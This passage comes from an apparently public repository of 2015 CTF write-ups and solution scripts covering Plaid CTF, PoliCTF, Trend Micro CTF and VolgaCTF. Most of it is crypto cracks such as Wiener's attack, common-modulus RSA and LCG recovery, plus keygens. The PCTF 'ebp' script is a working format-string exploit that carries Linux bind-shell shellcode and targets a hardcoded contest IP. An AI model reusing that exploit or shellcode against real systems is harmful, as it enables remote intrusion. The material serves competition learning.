A[5])): 26 | A[0] = next(primeiterator) 27 | 28 | while('0' in hex(A[0])[2:]): 29 | A[0] = next(primeiterator) 30 | 31 | return "-".join(hex(A[i])[2:] for i in range(6)) 32 | 33 | print keygen(0x2AD0) -------------------------------------------------------------------------------- /2015/PCTF/README.md: -------------------------------------------------------------------------------- 1 | # Plaid CTF 2015 write-ups 2 | 3 | ## Solved 4 | 5 | * [crypto/curious](crypto/curious) 6 | * [crypto/strength](crypto/strength) 7 | * [pwnable/ebp](pwnable/ebp) 8 | * forensics/unknown 9 | * [reversing/clifford](reversing/clifford) 10 | -------------------------------------------------------------------------------- /2015/PCTF/crypto/curious/solution/curious_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Plaid CTF 2015 4 | # Curious (CRYPTO/70) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | import math 11 | 12 | def number_of_bits(n): 13 | return int(math.log(n, 2)) + 1 14 | 15 | def isqrt(n): 16 | if n < 0: 17 | raise ValueError('[-]Square root not defined for negative numbers') 18 | if n == 0: 19 | return 0 20 | 21 | a, b = divmod(number_of_bits(n), 2) 22 | x = 2**(a+b) 23 | 24 | while True: 25 | y = (x + n//x)//2 26 | if y >= x: 27 | return x 28 | x = y 29 | 30 | def perfectSquare(n): 31 | h = n & 0xF 32 | if h > 9: 33 | return -1 34 | 35 | if (h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8): 36 | t = isqrt(n) 37 | if (t*t == n): 38 | return t 39 | else: 40 | return -1 41 | return -1 42 | 43 | # Fraction p/q as continued fraction 44 | def contfrac(p, q): 45 | while q: 46 | n = p // q 47 | yield n 48 | q, p = p - q*n, q 49 | 50 | # Convergents from continued fraction 51 | def convergents(cf): 52 | p, q, r, s = 1, 0, 0, 1 53 | for c in cf: 54 | p, q, r, s = c*p+r, c*q+s, p, q 55 | yield p, q 56 | 57 | # Wiener's attack ported from https://github.com/pablocelayes/rsa-wiener-attack 58 | def wienerAttack(n, e): 59 | cts = convergents(contfrac(e, n)) 60 | for (k, d) in cts: 61 | # check if d is actually the key 62 | if ((k != 0) and ((e*d - 1) % k == 0)): 63 | phi = ((e*d - 1)//k) 64 | s = n - phi + 1 65 | # check if the equation x^2 - s*x + n = 0 66 | # has integer roots 67 | discr = s*s - 4*n 68 | if(discr >= 0): 69 | t = perfectSquare(discr) 70 | if ((t != -1) and ((s+t) % 2 == 0)): 71 | return d 72 | return None 73 | 74 | def to_bytes(n, length, endianess='big'): 75 | h = '%x' % n 76 | s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex') 77 | return s if endianess == 'big' else s[::-1] 78 | 79 | crypt_tups = [] 80 | lines = open("captured", "rb").read().split("\n") 81 | lines = lines[1:len(lines)-1] # get rid of first and last line 82 | for line in lines: 83 | tups = line[1:len(line)-1].split(":") 84 | n, e, c = [long(x.strip(),16) for x in tups] 85 | nsize = number_of_bits(n) 86 | esize = number_of_bits(e) 87 | # Totally unjustified heuristic 88 | if(abs(nsize - esize) < (nsize/16)): 89 | d = wienerAttack(n, e) 90 | if(d): 91 | m = pow(c, d, n) 92 | print to_bytes(m, 16) 93 | exit() -------------------------------------------------------------------------------- /2015/PCTF/crypto/strength/solution/strength_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Plaid CTF 2015 4 | # Strength (CRYPTO/110) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | # GCD (times sign of b if b is nonzero, times sign of a if b is zero) 11 | def gcd(a,b): 12 | while b != 0: 13 | a,b = b, a % b 14 | return a 15 | 16 | # Extended Greatest Common Divisor 17 | def egcd(a, b): 18 | if (a == 0): 19 | return (b, 0, 1) 20 | else: 21 | g, y, x = egcd(b % a, a) 22 | return (g, x - (b // a) * y, y) 23 | 24 | # Modular multiplicative inverse 25 | def modInv(a, m): 26 | g, x, y = egcd(a, m) 27 | if (g != 1): 28 | raise Exception("[-]No modular multiplicative inverse of %d under modulus %d" % (a, m)) 29 | else: 30 | return x % m 31 | 32 | def to_bytes(n, length, endianess='big'): 33 | h = '%x' % n 34 | s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex') 35 | return s if endianess == 'big' else s[::-1] 36 | 37 | crypt_tups = [] 38 | lines = open("captured", "rb").read().split("\n") 39 | lines = lines[1:len(lines)-1] # get rid of first and last line 40 | for line in lines: 41 | tups = line[1:len(line)-1].split(":") 42 | N, e, c = [long(x.strip(),16) for x in tups] 43 | crypt_tups.append((N, e, c)) 44 | 45 | for i in xrange(len(crypt_tups)): 46 | for j in xrange(len(crypt_tups)): 47 | if(i == j): 48 | continue 49 | 50 | N1, e1, c1 = crypt_tups[i] 51 | N2, e2, c2 = crypt_tups[j] 52 | 53 | assert (N1 == N2) 54 | 55 | #a1*e1 + a2*e2 = 1 56 | if (gcd(e1, e2) == 1): 57 | #a = a1 % e2 58 | a = modInv(e1, e2) 59 | #b = (gcd(e1, e2)-(a*e1))/e2 (will be negative) 60 | b = long((float(gcd(e1, e2)-(a*e1)))/float(e2)) 61 | 62 | assert (b < 0) 63 | 64 | # Modular multiplicative inverse 65 | c2i = modInv(c2, N1) 66 | c1a = pow(c1, a, N1) 67 | c2b = pow(c2i, long(-b), N1) 68 | m = (c1a * c2b) % N1 69 | 70 | print to_bytes(m, 16) 71 | exit() -------------------------------------------------------------------------------- /2015/PCTF/pwnable/ebp/challenge/ebp.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/PCTF/pwnable/ebp/challenge/ebp.elf -------------------------------------------------------------------------------- /2015/PCTF/pwnable/ebp/solution/ebp_sploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Plaid CTF 2015 4 | # EBP (PWN/160) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | from pwn import * 11 | 12 | # 13 | # Linux bindshell port 4444 14 | # 15 | buf = "" 16 | buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66" 17 | buf += "\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51" 18 | buf += "\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04" 19 | buf += "\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f" 20 | buf += "\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f" 21 | buf += "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" 22 | 23 | host = '52.6.64.173' 24 | port = 4545 25 | 26 | h = remote(host, port, timeout = None) 27 | 28 | print "[*]Sending exploit..." 29 | exploit = "\xA4\xA0\x04\x08%44840317x%44840317x%44840318x%n" + buf 30 | h.send(exploit + "\n") 31 | print "[+]Exploit sent!" 32 | msg = h.recv(1024) 33 | print msg 34 | 35 | h.close() -------------------------------------------------------------------------------- /2015/PCTF/reversing/clifford/challenge/clifford.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/PCTF/reversing/clifford/challenge/clifford.elf -------------------------------------------------------------------------------- /2015/PCTF/reversing/clifford/solution/clifford_keygen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # Plaid CTF 2015 4 | # Clifford (REVERSING/100) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | from constraint import * 11 | import string 12 | 13 | def bfsize(order): 14 | return (3 * order * order + -3 * order + 1) 15 | 16 | def solve(order, k_val): 17 | # Set of possible values for cells 18 | charset = range(0, bfsize(order)+1) 19 | # Magic number sum 20 | magic_number = 20 + k_val 21 | # Already chosen 22 | picked = [9, 11, k_val] 23 | # Not yet chosen 24 | free_charset = [x for x in charset if not(x in picked)] 25 | # All cell names 26 | all_variables = string.lowercase[:len(string.lowercase)-1] 27 | # Free variables 28 | free_variables = all_variables.replace('a','').replace('f', '').replace('k', '') 29 | # Variables for which the uniqueness constraint holds 30 | diff_variables = [x for x in all_variables if not(x in ['d','e','j','p','u','v'])] 31 | 32 | problem = Problem() 33 | # Pre-set variables 34 | problem.addVariable('a', charset) 35 | problem.addVariable('k', charset) 36 | problem.addVariable('f', charset) 37 | # Free variables 38 | problem.addVariables(free_variables, free_charset) 39 | 40 | # Base constraints 41 | problem.addConstraint(lambda field: field==9, ['a']) 42 | problem.addConstraint(lambda field: field==0, ['d']) 43 | problem.addConstraint(lambda field: field==0, ['e']) 44 | problem.addConstraint(lambda field: field==11, ['f']) # 11 = 20 - 9 45 | problem.addConstraint(lambda field: field==0, ['j']) 46 | problem.addConstraint(lambda field: field==k_val, ['k']) 47 | problem.addConstraint(lambda field: field==0, ['p']) 48 | problem.addConstraint(lambda field: field==0, ['u']) 49 | problem.addConstraint(lambda field: field==0, ['v']) 50 | 51 | # Uniqueness constraint 52 | problem.addConstraint(AllDifferentConstraint(), diff_variables) 53 | 54 | # Rows & Columns 55 | 56 | block_size = 5 57 | rows = [all_variables[i:i+block_size] for i in range(0, len(all_variables), block_size)] 58 | columns = [] 59 | for i in xrange(block_size): 60 | column = "" 61 | for j in xrange(len(rows)): 62 | column += rows[j][i] 63 | columns.append(column) 64 | 65 | # Row, column & diagonal sum constraints 66 | 67 | for i in xrange(len(rows)): 68 | problem.addConstraint(ExactSumConstraint(magic_number), rows[i]) 69 | 70 | for i in xrange(len(columns)): 71 | problem.addConstraint(ExactSumConstraint(magic_number), columns[i]) 72 | 73 | problem.addConstraint(ExactSumConstraint(magic_number), 'agmsy') 74 | problem.addConstraint(ExactSumConstraint(magic_number), 'flrx') 75 | problem.addConstraint(ExactSumConstraint(magic_number), 'kqw') 76 | 77 | solution = problem.getSolution() 78 | if (solution): 79 | print "[+]Solution: " 80 | print solution 81 | return True 82 | else: 83 | return False 84 | 85 | order = 3 86 | for i in xrange(0, bfsize(order)+1): 87 | if(i == 9): 88 | continue 89 | 90 | print "[*]Trying k=%d" % i 91 | 92 | if(solve(order, i)): 93 | exit() 94 | 95 | print "[-]Got nothing :(" -------------------------------------------------------------------------------- /2015/POLICTF/README.md: -------------------------------------------------------------------------------- 1 | # PoliCTF 2015 write-ups 2 | 3 | ## Solved 4 | 5 | * [reversing/reversemeplz](reversing/reversemeplz) 6 | * [reversing/johnthepacker](reversing/johnthepacker) 7 | * [pwn/hanoiasaservice](pwn/hanoiasaservice) 8 | * [pwn/johnpastryshop](pwn/johnpastryshop) 9 | * [web/johnthereferee](web/johnthereferee) 10 | * [web/magicchall](web/magicchall) 11 | * [forensics/johninthemiddle](forensics/johninthemiddle) 12 | * [forensics/heshungry](forensics/heshungry) 13 | -------------------------------------------------------------------------------- /2015/POLICTF/reversing/johnthepacker/challenge/topack: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/POLICTF/reversing/johnthepacker/challenge/topack -------------------------------------------------------------------------------- /2015/POLICTF/reversing/johnthepacker/check1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/POLICTF/reversing/johnthepacker/check1.png -------------------------------------------------------------------------------- /2015/POLICTF/reversing/johnthepacker/check2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/POLICTF/reversing/johnthepacker/check2.png -------------------------------------------------------------------------------- /2015/POLICTF/reversing/johnthepacker/poly.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/POLICTF/reversing/johnthepacker/poly.png -------------------------------------------------------------------------------- /2015/POLICTF/reversing/johnthepacker/solution/john_keygen.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # PoliCTF 2015 4 | # johnthepacker (REVERSING/350) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | from math import floor, log 11 | from struct import unpack 12 | 13 | def pow_0(arg): 14 | a5 = float(arg) 15 | v5 = float(pow(a5, 5.0)) * 0.5166666688 16 | v6 = v5 - float(pow(a5, 4.0)) * 8.125000037 17 | v7 = float(pow(a5, 3.0)) * 45.83333358 + v6 18 | v8 = v7 - float(pow(a5, 2.0)) * 109.8750007 + a5 * 99.65000093 + 83.99999968 19 | return int(floor(v8)) 20 | 21 | def pow_1(arg): 22 | a1 = ((arg - 21) / 4) 23 | if(a1 == 0): 24 | a1 ^= 0x8000000000000000 25 | a1 += 9.223372036854776e18 26 | return int(log(a1, 2)) 27 | 28 | def key_gen(): 29 | magic_table_0 = "\x15\x00\x00\x00\x00\x80\x00\x00\x15\x00\x00\x00\x00\x00\x08\x00\x15\x00\x00\x00\x00\x00\x80\x00\x15\x00\x00\x00\x00\x80\x00\x00\x15\x00\x00\x00\x00\x00\x40\x00\x15\x00\x00\x00\x00\x80\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\x00\x00\x00\x40\x00\x15\x00\x00\x00\x00\x00\x08\x00\x15\x00\x00\x00\x00\x00\x00\x80\x15\x00\x00\x00\x00\x80\x00\x00" 30 | magic_table_1 = "\x44\x07\x43\x59\x1C\x5B\x1E\x19\x47\x00" 31 | 32 | key = "" 33 | 34 | # First 6 bytes 35 | for i in xrange(6): 36 | key += chr(pow_0(i+1)) 37 | 38 | # Next 11 bytes 39 | for i in xrange(11): 40 | index = (2 * i) * 4 41 | magic_value = unpack('*Category: Analysis-defensive* 11 | > 12 | >*Points: 300* 13 | > 14 | >*This is a REAL backdoor network traffic!* 15 | > 16 | >*Tracing hacker's footprint to find the key!* 17 | > 18 | >*Hint:* 19 | > 20 | >*Poison Ivy / admin* 21 | > 22 | >*Zip Password: trace_hacker* 23 | 24 | ---------- 25 | ## Write-up 26 | 27 | We are given an [archive](challenge/net.zip) which contains a PCAP file with traffic from the [Poison Ivy](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf) backdoor. Poison Ivy encrypts its traffic using the [Camellia](https://en.wikipedia.org/wiki/Camellia_(cipher)) block cipher (in a very [flawed manner](samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/)) and deriving the encryption key directly from an attacker-supplied password (by padding it with null bytes). The default password for Poison Ivy is 'admin' which will allow us to decrypt the traffic in the PCAP. 28 | 29 | Luckily MITRE's [ChopShop framework](https://github.com/MITRECND/chopshop) allows us to easily process the PCAP using [FireEye's Poison Ivy 2.3.x module](https://github.com/MITRECND/chopshop/blob/master/modules/poisonivy_23x.py) and extract whatever contents the malware traffic holds. 30 | 31 | We use ChopShop in the following manner to decrypt and dump the traffic and extract any transmitted files from it: 32 | 33 | ```bash 34 | $ ./chopshop -f net.pcap -s ./ "poisonivy_23x -c -w admin" 35 | Warning Legacy Module poisonivy_23x! 36 | Starting ChopShop (Created by MITRE) 37 | Initializing Modules ... 38 | Initializing module 'poisonivy_23x' 39 | Running Modules ... 40 | [2015-09-04 04:43:44 EDT] Poison Ivy Version: 2.32 41 | [2015-09-04 04:43:44 EDT] *** Host Information *** 42 | PI profile ID: ctf 43 | IP address: 192.168.0.100 44 | Hostname: ADMIN-PC 45 | Windows User: Administrator 46 | Windows Version: Windows XP 47 | Windows Build: 2600 48 | Service Pack: Service Pack 3 49 | [2015-09-04 04:43:58 EDT] *** Directory Listing Initiated *** 50 | Directory: C:\WINDOWS\ 51 | [2015-09-04 04:43:58 EDT] *** Directory Listing Sent *** 52 | [2015-09-04 04:44:57 EDT] *** Service Listing Sent *** 53 | [2015-09-04 04:45:06 EDT] *** Screen Capture Sent *** 54 | PI-extracted-file-1-screenshot.bmp saved.. 55 | Shutting Down Modules ... 56 | Shutting Down poisonivy_23x 57 | Module Shutdown Complete ... 58 | ChopShop Complete 59 | ``` 60 | 61 | The extracted screenshot file provides us with the flag: 62 | 63 | ![alt screenshot](PI-extracted-file-1-screenshot.bmp) -------------------------------------------------------------------------------- /2015/TMCTF/analysis_defensive/analysis_defensive300/challenge/net.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/TMCTF/analysis_defensive/analysis_defensive300/challenge/net.zip -------------------------------------------------------------------------------- /2015/TMCTF/crypto/crypto100/challenge/PublicKey.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALYtzp8lgWNXI9trGI8S8EacvuDLxdrL 3 | NsNuDJa26nv8AgMBAAE= 4 | -----END PUBLIC KEY----- 5 | -------------------------------------------------------------------------------- /2015/TMCTF/crypto/crypto100/factors.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/TMCTF/crypto/crypto100/factors.png -------------------------------------------------------------------------------- /2015/TMCTF/crypto/crypto100/solution/crypto100_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Trend Micro CTF 2015 4 | # 5 | # @a: Smoke Leet Everyday 6 | # @u: https://github.com/smokeleeteveryday 7 | # 8 | 9 | from Crypto.PublicKey import RSA 10 | from pyprimes import * 11 | from factorlookup import * 12 | 13 | # Extended Greatest Common Divisor 14 | def egcd(a, b): 15 | if (a == 0): 16 | return (b, 0, 1) 17 | else: 18 | g, y, x = egcd(b % a, a) 19 | return (g, x - (b // a) * y, y) 20 | 21 | # Modular multiplicative inverse 22 | def modInv(a, m): 23 | g, x, y = egcd(a, m) 24 | if (g != 1): 25 | raise Exception("[-]No modular multiplicative inverse of %d under modulus %d" % (a, m)) 26 | else: 27 | return x % m 28 | 29 | ciphertext = "kPmDFLk5b/torG53sThWwEeNm0AIpEQek0rVG3vCttc=".decode('base64') 30 | pubKey = RSA.importKey(open("../challenge/PublicKey.pem", 'rb').read()) 31 | 32 | print "[*]RSA Public key (n = %d, e = %d)" % (pubKey.n, pubKey.e) 33 | 34 | # Get binary representation 35 | binrep = "{0:b}".format(pubKey.n) 36 | 37 | # Iterate over every bit and flip it 38 | for pos in xrange(len(binrep)): 39 | c = list(binrep) 40 | c[pos] = "1" if (c[pos] == "0") else "0" 41 | candidate_binrep = "".join(c) 42 | candidate = int(candidate_binrep, 2) 43 | 44 | facstatus = isFactored(candidate) 45 | 46 | if(facstatus[0] > 4): 47 | if((len(facstatus[1]) == 2) and not(False in [isprime(x) for x in facstatus[1]])): 48 | print "[+]Found candidate! [%d] [%s]" % (candidate, facstatus[1]) 49 | print "[+]Corresponding private exponent (d = %d)" % d 50 | else: 51 | continue 52 | 53 | p = facstatus[1][0] 54 | q = facstatus[1][1] 55 | d = modInv(pubKey.e, (p-1)*(q-1)) 56 | privKey = RSA.construct((candidate, pubKey.e, d, p, q, )) 57 | 58 | p = privKey.decrypt(ciphertext) 59 | 60 | # If flag prefix is in plaintext we have our private key 61 | if("TMCTF" in p): 62 | print "[+]Plaintext: [%s]" % p 63 | exit() -------------------------------------------------------------------------------- /2015/TMCTF/crypto/crypto200/Q.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/TMCTF/crypto/crypto200/Q.png -------------------------------------------------------------------------------- /2015/TMCTF/crypto/crypto200/cbc_mode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/TMCTF/crypto/crypto200/cbc_mode.png -------------------------------------------------------------------------------- /2015/TMCTF/crypto/crypto200/challenge/Q.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/TMCTF/crypto/crypto200/challenge/Q.zip -------------------------------------------------------------------------------- /2015/TMCTF/crypto/crypto200/solution/crypto200_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Trend Micro CTF 2015 4 | # 5 | # @a: Smoke Leet Everyday 6 | # @u: https://github.com/smokeleeteveryday 7 | # 8 | 9 | import string 10 | import itertools 11 | from Crypto.Cipher import AES 12 | 13 | def xor_blocks(b1, b2): 14 | return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(b1, b2)) 15 | 16 | def encrypt(m, p, iv): 17 | aes = AES.new(p, AES.MODE_CBC, iv) 18 | return aes.encrypt(m) 19 | 20 | def decrypt_block(c, k): 21 | aes = AES.new(k, AES.MODE_ECB) 22 | return aes.decrypt(c) 23 | 24 | def brute_block(c_block, p_block, known_iv, known_key_prefix): 25 | assert(len(p_block) == 16) 26 | 27 | # Candidate list 28 | candidates = [] 29 | 30 | # Known key prefix 31 | brute_count = (16 - len(known_key_prefix)) 32 | 33 | # Character set 34 | charset = [chr(x) for x in xrange(0x00,0x100)] 35 | 36 | # Brute-force 37 | for p in itertools.chain.from_iterable((''.join(l) for l in itertools.product(charset, repeat=i)) for i in range(brute_count, brute_count + 1)): 38 | candidate = known_key_prefix + p 39 | d = decrypt_block(c_block, candidate) 40 | t = True 41 | # Check whether known plaintext/known iv constraint holds 42 | for offset in known_iv: 43 | t = (t and (p_block[offset] == chr(ord(d[offset]) ^ ord(known_iv[offset])))) 44 | 45 | if(t == True): 46 | candidates.append(candidate) 47 | 48 | return candidates 49 | 50 | # Known key fragment 51 | known_key_prefix = "5d6I9pfR7C1JQt" 52 | # Known plaintext 53 | plaintext = "The message is protected by AES!" 54 | # Ciphertext block 1 55 | c_block_1 = "307df037c689300bbf2812ff89bc0b49".decode('hex') 56 | # Known fragments of ciphertext block 0, organized by offset 57 | known_iv = { 58 | 0: "\xFE", 59 | 15: "\xC3" 60 | } 61 | 62 | # Obtain candidate keys 63 | candidate_keys = brute_block(c_block_1, plaintext[16:], known_iv, known_key_prefix) 64 | 65 | # Try all candidate keys 66 | for k in candidate_keys: 67 | # Obtain ciphertext block 0 as IV of ciphertext block 1 68 | c_block_0 = xor_blocks(decrypt_block(c_block_1, k), plaintext[16:]) 69 | 70 | # Obtain IV given known ciphertext block 0, plaintext block 0 and key 71 | IV = xor_blocks(decrypt_block(c_block_0, k), plaintext[:16]) 72 | print "[+]Candidate IV: [%s]" % IV -------------------------------------------------------------------------------- /2015/VOLGACTF/README.md: -------------------------------------------------------------------------------- 1 | # VolgaCTF Quals 2015 write-ups 2 | 3 | ## Solved 4 | 5 | * [crypto/rsa](crypto/rsa) 6 | * [crypto/lcg](crypto/lcg) 7 | * [pwn/bash](pwn/bash) 8 | * [pwn/database](pwn/database) 9 | * [web/web2](web/web2) 10 | * [reversing/interstellar](reversing/interstellar) 11 | * [stego/captcha](stego/captcha) 12 | * [forensics/russiandoll](forensics/russiandoll) 13 | * [misc/mathproblem](misc/mathproblem) 14 | * [misc/remoteweb](misc/remoteweb) 15 | * [misc/relaxenjoy](misc/relaxenjoy) 16 | * [misc/yacst](misc/yacst) -------------------------------------------------------------------------------- /2015/VOLGACTF/crypto/lcg/challenge/flag.png.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/VOLGACTF/crypto/lcg/challenge/flag.png.bin -------------------------------------------------------------------------------- /2015/VOLGACTF/crypto/lcg/challenge/lcg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import struct 3 | import os 4 | 5 | 6 | M = 65521 7 | class LCG(): 8 | def __init__(self, s): 9 | self.m = M 10 | (self.a, self.b, self.state) = struct.unpack('<3H', s[:6]) 11 | 12 | def round(self): 13 | self.state = (self.a*self.state + self.b) % self.m 14 | return self.state 15 | 16 | def generate_gamma(self, length): 17 | n = (length + 1) / 2 18 | gamma = '' 19 | for i in xrange(n): 20 | gamma += struct.pack('= 6) 26 | lcg = LCG(key[:6]) 27 | gamma = lcg.generate_gamma(len(data)) 28 | return ''.join([chr(d ^ g) for d,g in zip(map(ord, data), map(ord, gamma))]) 29 | 30 | def decrypt(ciphertext, key): 31 | return encrypt(ciphertext, key) 32 | 33 | 34 | 35 | def sanity_check(): 36 | data = 'A'*100 37 | key = os.urandom(6) 38 | ciphertext = encrypt(data, key) 39 | decrypted_data = decrypt(ciphertext, key) 40 | assert(data == decrypted_data) 41 | 42 | 43 | 44 | 45 | 46 | if __name__ == '__main__': 47 | with open('flag.png', 'rb') as f: 48 | data = f.read() 49 | key = os.urandom(6) 50 | enc_data = encrypt(data, key) 51 | with open('flag.enc.bin', 'wb+') as f: 52 | f.write(enc_data) 53 | 54 | -------------------------------------------------------------------------------- /2015/VOLGACTF/crypto/lcg/solution/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smokeleeteveryday/CTF_WRITEUPS/4683f0d41c92c4ed407cc3dd3b1760c68a05943f/2015/VOLGACTF/crypto/lcg/solution/flag.png -------------------------------------------------------------------------------- /2015/VOLGACTF/crypto/lcg/solution/lcg_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # 3 | # VolgaCTF Quals 2015 4 | # lcg (CRYPTO/100) 5 | # 6 | # @a: Smoke Leet Everyday 7 | # @u: https://github.com/smokeleeteveryday 8 | # 9 | 10 | import struct 11 | 12 | # Extended Greatest Common Divisor 13 | def egcd(a, b): 14 | if a == 0: 15 | return (b, 0, 1) 16 | else: 17 | g, y, x = egcd(b % a, a) 18 | return (g, x - (b // a) * y, y) 19 | 20 | M = 65521 21 | class LCG(): 22 | def __init__(self, s, a=None, b=None, state=None): 23 | self.m = M 24 | if((a != None) and (b != None) and (state != None)): 25 | (self.a, self.b, self.state) = (a, b, state) 26 | else: 27 | (self.a, self.b, self.state) = struct.unpack('<3H', s[:6]) 28 | 29 | def getvars(self): 30 | return self.a, self.b 31 | 32 | def round(self): 33 | self.state = (self.a*self.state + self.b) % self.m 34 | return self.state 35 | 36 | def generate_gamma(self, length): 37 | n = (length + 1) / 2 38 | gamma = '' 39 | for i in xrange(n): 40 | gamma += struct.pack('= x: 28 | return x 29 | x = y 30 | 31 | def perfectSquare(n): 32 | h = n & 0xF 33 | if h > 9: 34 | return -1 35 | 36 | if (h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8): 37 | t = isqrt(n) 38 | if (t*t == n): 39 | return t 40 | else: 41 | return -1 42 | return -1 43 | 44 | # Fraction p/q as continued fraction 45 | def contfrac(p, q): 46 | while q: 47 | n = p // q 48 | yield n 49 | q, p = p - q*n, q 50 | 51 | # Convergents from continued fraction 52 | def convergents(cf): 53 | p, q, r, s = 1, 0, 0, 1 54 | for c in cf: 55 | p, q, r, s = c*p+r, c*q+s, p, q 56 | yield p, q 57 | 58 | # Wiener's attack ported from https://github.com/pablocelayes/rsa-wiener-attack 59 | def wienerAttack(n, e): 60 | cts = convergents(contfrac(e, n)) 61 | for (k, d) in cts: 62 | # check if d is actually the key 63 | if ((k != 0) and ((e*d - 1) % k == 0)): 64 | phi = ((e*d - 1)//k) 65 | s = n - phi + 1 66 | # check if the equation x^2 - s*x + n = 0 67 | # has integer roots 68 | discr = s*s - 4*n 69 | if(discr >= 0): 70 | t = perfectSquare(discr) 71 | if ((t != -1) and ((s+t) % 2 == 0)): 72 | return d 73 | return None 74 | 75 | f = open("key.public", 'rb') 76 | externKey = f.read() 77 | f.close() 78 | 79 | pubkey = RSA.importKey(externKey) 80 | d = wienerAttack(pubkey.n, pubkey.e) 81 | if(d): 82 | print "[+]Recovered d: [%d]!" % d 83 | privkey = RSA.construct((pubkey.n, pubkey.e, d, )) 84 | with open('ciphertext.bin', 'rb') as f: 85 | C = f.read() 86 | print "[+]Flag: [%s]" % privkey.decrypt(C) -------------------------------------------------------------------------------- /2015/VOLGACTF/forensics/russiandoll/README.md: -------------------------------------------------------------------------------- 1 | # VolgaCTF Quals 2015: Russian doll 2 | 3 | ---------- 4 | ## Challenge details 5 | | Contest | Challenge | Category | Points | 6 | |:---------------|:--------------|:----------|-------:| 7 | | VolgaCTF Quals 2015 | Russian doll | Forensics | 300 | 8 | 9 | **Description:** 10 | >*Russian doll* 11 | 12 | >*We got a strange file, can you find a flag in it image* 13 | 14 | ---------- 15 | ## Write-up 16 | 17 | We are given a 500MB file called "russian_doll.iso" about which file has to say the following: 18 | 19 | >```bash 20 | > file russian_doll.iso 21 | > 22 | > russian_doll.iso; x86 boot sector, code offset 0x58, OEM-ID "-FVE-FS-", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 255, hidden sectors 46626816, FAT (32 bit), sectors/FAT 8160, reserved3 0x800000, serial number 0x0, unlabeled 23 | >``` 24 | 25 | The "-FVE-FS-" OEM-ID indicates we are probably dealing with a [bitlocker encrypted volume](http://www.forensicswiki.org/wiki/BitLocker_Disk_Encryption). So we fire up [Diskinternals EFS recovery](http://www.diskinternals.com/efs-recovery/) and mount russian_doll.iso as a raw disk image. In the Diskinternals EFS recovery interface we can now see the volume name which contains the pass 